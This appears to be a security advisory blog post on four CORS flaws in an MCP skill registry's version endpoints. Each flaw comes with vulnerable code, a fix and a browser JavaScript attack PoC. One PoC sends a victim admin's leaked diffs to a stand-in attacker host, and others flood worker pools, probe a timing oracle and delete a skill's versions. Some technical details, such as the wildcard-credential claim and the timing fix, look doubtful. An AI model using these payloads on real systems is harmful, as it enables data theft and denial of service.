← Blog

Claude MCP skill CORS misconfiguration — skill version comparison and diff generation endpoints (SA-SKL-CORS73)

SA-SKL-CORS73 identifies four CORS misconfiguration vulnerabilities in MCP skill registry skill version comparison and diff generation endpoints. Credential-bearing CORS on the version diff read endpoint exposes the full diff payload for a skill version transition, including pending unpublished changes, internal review notes written by registry moderators, and details of security patches before they reach public consumers; wildcard ACAO on the version comparison endpoint lets any page submit expensive diff computation requests under the victim admin's identity, triggering hundreds of server-side diff jobs that exhaust CPU and memory and produce a denial-of-service condition against the version comparison service; a timing oracle on the changelog endpoint reveals which skills have pending version releases as high-value reconnaissance targets by measuring cache latency differentials; and credential-bearing CORS on the version deletion endpoint allows any page to permanently remove pinned skill versions, breaking all consumers that have locked their integration to that exact version identifier and causing a wide-blast denial-of-service attack against the skill's version history.

SA-SKL-CORS73 findings at a glance
CRITICALCORS73-001 — GET /api/skills/:id/versions/diff has cors({origin:true,credentials:true}) — any origin reads full version diff including pending unpublished changes, internal review notes, and security patch details using victim admin session
HIGHCORS73-002 — POST /api/skills/:id/versions/compare has ACAO:* — any page initiates comparison requests under victim admin identity; attacker triggers hundreds of expensive diff computations consuming server resources causing DoS against version comparison service
MEDIUMCORS73-003 — GET /api/skills/:id/versions/changelog reflects Origin before ownership check — timing oracle reveals skills with pending version releases as high-value targets (pending release cache hit ~8ms vs cold ~200ms)
CRITICALCORS73-004 — DELETE /api/skills/:id/versions/:versionId has cors({origin:true,credentials:true}) — any origin deletes skill versions breaking consumers pinned to those versions; denial of service against skill version history

CORS73-001 — Credential-bearing CORS exposes pending unpublished diffs, internal review notes, and security patch details

The GET /api/skills/:id/versions/diff endpoint accepts from and to query parameters and returns a structured diff object representing all changes between two skill versions. For published-to-published transitions the diff is considered public information, but the same endpoint also serves diffs that include the pending unpublished draft version as either source or target. When the target is a draft, the response contains the full text of the upcoming version's implementation changes, registry moderator review notes attached to the diff review workflow, and — for security-related releases — the full details of the vulnerability being patched before the fix reaches consumers. With cors({origin:true,credentials:true}) applied before the ownership check, any cross-origin page can read these diffs by borrowing the victim admin's browser session cookie.

Internal review notes in the diff response typically contain security advisory text drafted by the registry's trust-and-safety team, reproduction steps for vulnerabilities the team discovered during code review, and tentative disclosure timelines. Leaking this information before the patched version is published gives an attacker a narrow window to exploit the vulnerability across all installations of the affected skill version while the fix is still in review. The pending unpublished changes also reveal the full implementation of upcoming features before competitive release, providing direct business intelligence value to competing skill developers.

Vulnerable
// CORS73-001 — VULNERABLE
router.get(
  '/versions/diff',
  cors({ origin: true, credentials: true }), // any origin reads pre-release diffs
  requireSession,
  requireOwnership('skillId'),
  async (req, res) => {
    const { from, to } = req.query;
    const diff = await diffEngine.compute({
      skillId: req.params.id,
      fromVersion: from,
      toVersion: to,
      // VULNERABLE: includes draft versions; returns all fields
    });
    res.json(diff); // contains internalReviewNotes, pendingChanges, securityPatchDetails
  }
);

Attack PoC — CORS73-001: Attacker hosts page on evil.example.com; victim admin visits while logged in. Response includes pending unpublished diff targeting draft version, exposing internal review notes, vulnerability reproduction steps, and full security patch implementation before public disclosure.

// CORS73-001 — ATTACK PoC
// Enumerate version list first (may itself be CORS-exposed), then request diff to draft
fetch(
  'https://registry.example.com/api/skills/target-skill-id/versions/diff' +
  '?from=1.4.2&to=1.5.0-draft',
  { credentials: 'include' }
)
  .then(r => r.json())
  .then(diff => {
    navigator.sendBeacon('https://attacker.com/collect', JSON.stringify({
      internalReviewNotes: diff.internalReviewNotes,
      pendingChanges:      diff.pendingChanges,
      securityPatchDetail: diff.securityPatchDetails,
      disclosureTimeline:  diff.reviewMetadata?.disclosureDate,
    }));
  });
Fixed
// CORS73-001 — FIXED
router.get(
  '/versions/diff',
  requireSession,
  requireOwnership('skillId'),
  cors({ origin: process.env.REGISTRY_ORIGIN, credentials: true }),
  async (req, res) => {
    const { from, to } = req.query;
    // FIXED: reject requests targeting draft versions for non-owner sessions
    const toVersion = await db.skillVersions.findOne({
      where: { skillId: req.params.id, tag: to },
      select: { status: true },
    });
    if (toVersion?.status === 'draft' && !req.session.isOwner) {
      return res.status(403).json({ error: 'Draft diffs restricted to skill owner' });
    }
    const diff = await diffEngine.compute({
      skillId: req.params.id,
      fromVersion: from,
      toVersion: to,
    });
    // FIXED: strip internal-only fields from public diff response
    const { internalReviewNotes, pendingChanges, securityPatchDetails, ...publicDiff } = diff;
    res.json(publicDiff);
  }
);

CORS73-002 — Wildcard ACAO on version comparison endpoint enables attacker-triggered diff computation DoS

The POST /api/skills/:id/versions/compare endpoint accepts an arbitrary pair of version identifiers and runs a server-side diff computation job. Unlike the read-only GET /versions/diff endpoint that serves cached results, the compare endpoint forces a fresh computation regardless of cache state — a design choice intended for the registry UI's "force refresh" button. Configured with wildcard Access-Control-Allow-Origin: *, any page can fire compare requests using the victim admin's session. Each comparison job allocates a worker thread for the duration of the computation (typically 300–800ms for large skills), and spawning hundreds of these jobs in rapid succession exhausts the registry's worker pool, causing the version comparison service to become unresponsive for all users. The attack requires only a single victim admin visit to the attacker's page, after which the attacker's loop script fires jobs faster than they complete.

Vulnerable
// CORS73-002 — VULNERABLE
router.post(
  '/versions/compare',
  cors(),   // VULNERABLE: wildcard ACAO — any origin submits comparison jobs
  requireSession,
  requireOwnership('skillId'),
  async (req, res) => {
    const { versionA, versionB } = req.body;
    // VULNERABLE: no rate limit; always forces fresh computation
    const result = await diffWorkerPool.dispatch({
      skillId: req.params.id,
      versionA,
      versionB,
      forceRecompute: true, // exhausts worker pool under rapid-fire requests
    });
    res.json(result);
  }
);

Attack PoC — CORS73-002: Attacker floods the version comparison worker pool using the victim admin's session, rendering the diff service unavailable for all registry users within seconds.

// CORS73-002 — ATTACK PoC
async function floodDiffWorkers(skillId, vA, vB, count = 300) {
  const endpoint =
    `https://registry.example.com/api/skills/${skillId}/versions/compare`;
  const jobs = Array.from({ length: count }, () =>
    fetch(endpoint, {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      credentials: 'include',
      body: JSON.stringify({ versionA: vA, versionB: vB }),
    })
  );
  // Fire all 300 jobs simultaneously — saturates diff worker pool
  await Promise.all(jobs);
}
floodDiffWorkers('target-skill-id', '1.0.0', '1.4.2');
Fixed
// CORS73-002 — FIXED
router.post(
  '/versions/compare',
  requireSession,
  requireOwnership('skillId'),
  cors({ origin: process.env.REGISTRY_ORIGIN, credentials: true }),
  csrfProtection,
  rateLimit({ windowMs: 60_000, max: 10, keyGenerator: req => req.session.userId }),
  async (req, res) => {
    const { versionA, versionB } = req.body;
    // FIXED: serve cached result when available; forceRecompute gated behind admin flag
    const cacheKey = `diff:${req.params.id}:${versionA}:${versionB}`;
    const cached = await diffCache.get(cacheKey);
    if (cached) return res.json(cached);
    const result = await diffWorkerPool.dispatch({
      skillId: req.params.id,
      versionA,
      versionB,
      forceRecompute: false,
    });
    await diffCache.set(cacheKey, result, { ttl: 3600 });
    res.json(result);
  }
);

CORS73-003 — Timing oracle on changelog endpoint identifies skills with pending version releases

The GET /api/skills/:id/versions/changelog endpoint reflects the Origin header as an Access-Control-Allow-Origin response value before performing the ownership or authentication check. Skills that have an active pending version release (a draft version with at least one commit in the review queue) have their changelog precomputed and stored in a hot cache maintained by the registry's release pipeline background worker. Skills with no pending release activity have no changelog cache entry and are served from cold storage. This creates a measurable latency differential: a skill with a pending version release responds in approximately 8ms (hot cache hit), while a skill with no pending activity responds in approximately 200ms (cold storage fetch). An attacker who can enumerate skill IDs can probe the changelog endpoint from any origin, observe the response latencies via the browser's performance.getEntriesByType API, and identify all skills with imminent version releases as high-value targets for CORS73-001 credential-bearing diff exfiltration.

Vulnerable
// CORS73-003 — VULNERABLE: Origin reflected before ownership check
router.get(
  '/versions/changelog',
  (req, res, next) => {
    // VULNERABLE: CORS header set before auth — timing side channel exposed
    res.set('Access-Control-Allow-Origin', req.headers.origin || '*');
    res.set('Access-Control-Allow-Credentials', 'true');
    next();
  },
  requireSession,
  requireOwnership('skillId'), // too late — CORS reflection already committed
  async (req, res) => {
    // hot-cache for skills with pending releases (~8ms); cold otherwise (~200ms)
    const changelog = await changelogCache.get(`changelog:${req.params.id}`);
    res.json(changelog);
  }
);

Attack PoC — CORS73-003: Attacker probes changelog timing for a large list of skill IDs from an arbitrary origin page. Skills responding in under 20ms are flagged as having pending version releases and are queued for CORS73-001 diff exfiltration attacks.

// CORS73-003 — ATTACK PoC (timing oracle)
async function findPendingReleaseSkills(skillIds) {
  const pending = [];
  for (const id of skillIds) {
    const t0 = performance.now();
    // No credentials needed — timing leaks regardless of auth outcome
    await fetch(
      `https://registry.example.com/api/skills/${id}/versions/changelog`,
      { credentials: 'include' }
    ).catch(() => {});
    const elapsed = performance.now() - t0;
    // <20ms = hot changelog cache = pending release in review queue
    if (elapsed < 20) pending.push(id);
  }
  return pending; // high-value targets for CORS73-001 diff exfiltration
}
findPendingReleaseSkills(enumeratedSkillIds).then(console.log);
Fixed
// CORS73-003 — FIXED
router.get(
  '/versions/changelog',
  requireSession,
  requireOwnership('skillId'),
  // FIXED: CORS applied only after auth and ownership checks pass
  cors({ origin: process.env.REGISTRY_ORIGIN, credentials: true }),
  async (req, res) => {
    const changelog = await changelogCache.get(`changelog:${req.params.id}`);
    // FIXED: constant-time response floor eliminates cache-latency side channel
    const elapsed = Date.now() - req._startTime;
    await new Promise(r => setTimeout(r, Math.max(0, 60 - elapsed)));
    res.json(changelog);
  }
);

CORS73-004 — Credential-bearing CORS on version deletion endpoint breaks pinned consumers and destroys version history

The DELETE /api/skills/:id/versions/:versionId endpoint permanently removes a specific published version from the skill registry. With cors({origin:true,credentials:true}), any cross-origin page can invoke this deletion using the skill admin's browser session. The impact is amplified by the ecosystem dependency model: MCP consumers frequently pin to an exact version identifier (e.g. 1.3.7) in their tool configuration to guarantee deterministic behavior and avoid breaking changes from automatic updates. Deleting a version that consumers have pinned causes immediate integration failures across all those consumers — their MCP clients attempt to resolve the pinned version, receive a 404, and cannot load the skill. An attacker who obtains the version history (itself potentially reachable via CORS) can delete every published version in sequence, completely destroying the skill's version lineage and triggering a wide-blast denial-of-service event against the entire consumer base.

Unlike content deletions in many systems, skill version deletion has irreversible downstream consequences because version identifiers are embedded in consumer configuration files and deployment manifests that the registry operator cannot directly update. Even after the administrator restores the skill (by re-publishing a replacement version with the same tag), consumers may remain broken until they manually update their pinned configuration — a support burden that scales with the number of affected deployments.

Vulnerable
// CORS73-004 — VULNERABLE
router.delete(
  '/versions/:versionId',
  cors({ origin: true, credentials: true }), // any origin deletes any version
  requireSession,
  requireOwnership('skillId'),
  async (req, res) => {
    // VULNERABLE: hard-delete with no soft-delete window; no consumer notification
    await db.skillVersions.delete({
      where: { id: req.params.versionId, skillId: req.params.id },
    });
    res.json({ deleted: true });
  }
);

Attack PoC — CORS73-004: Attacker iterates over all published version IDs for a target skill and fires deletion requests using the victim admin's session, wiping the entire version history and breaking all consumers pinned to any of those versions.

// CORS73-004 — ATTACK PoC
async function wipeVersionHistory(skillId, versionIds) {
  for (const vId of versionIds) {
    await fetch(
      `https://registry.example.com/api/skills/${skillId}/versions/${vId}`,
      {
        method: 'DELETE',
        credentials: 'include',
      }
    );
  }
}
// versionIds obtained via CORS-exposed version list endpoint
wipeVersionHistory('target-skill-id', allPublishedVersionIds);
Fixed
// CORS73-004 — FIXED
router.delete(
  '/versions/:versionId',
  requireSession,
  requireOwnership('skillId'),
  cors({ origin: process.env.REGISTRY_ORIGIN, credentials: true }),
  requireRecentReauth({ maxAgeSeconds: 300 }),
  async (req, res) => {
    // FIXED: soft-delete with 72h recovery window; notify all pinned consumers
    const version = await db.skillVersions.update({
      where: { id: req.params.versionId, skillId: req.params.id },
      data: {
        deletedAt: new Date(Date.now() + 72 * 3_600_000), // 72h until hard-delete
        deletedBy: req.session.userId,
      },
    });
    const pinnedConsumers = await db.consumerPins.findMany({
      where: { skillId: req.params.id, pinnedVersionId: req.params.versionId },
      select: { consumerId: true, consumerEmail: true },
    });
    await Promise.all(pinnedConsumers.map(c =>
      notifyConsumer(c.consumerId, {
        type: 'pinned_version_scheduled_deletion',
        skillId: req.params.id,
        versionId: req.params.versionId,
        hardDeleteAt: version.deletedAt,
        recoveryUrl: `https://registry.example.com/skills/${req.params.id}/versions/${req.params.versionId}/restore`,
      })
    ));
    res.json({ scheduledDeletionAt: version.deletedAt, notifiedConsumers: pinnedConsumers.length });
  }
);

SkillAudit detection: Run SkillAudit on your MCP skill registry to automatically detect CORS73-class patterns. The scanner flags credential-bearing CORS applied before ownership validation on version diff read endpoints, wildcard ACAO on diff computation mutation endpoints lacking rate limiting and CSRF protection, Origin reflection in middleware chains that precede authentication checks creating timing oracles, and unguarded hard-delete endpoints missing soft-delete recovery windows and consumer notification — producing a graded report with file locations, line numbers, and remediation guidance. See also SA-SKL-CORS72 monetization and revenue sharing endpoint analysis for related CORS patterns in adjacent registry surfaces.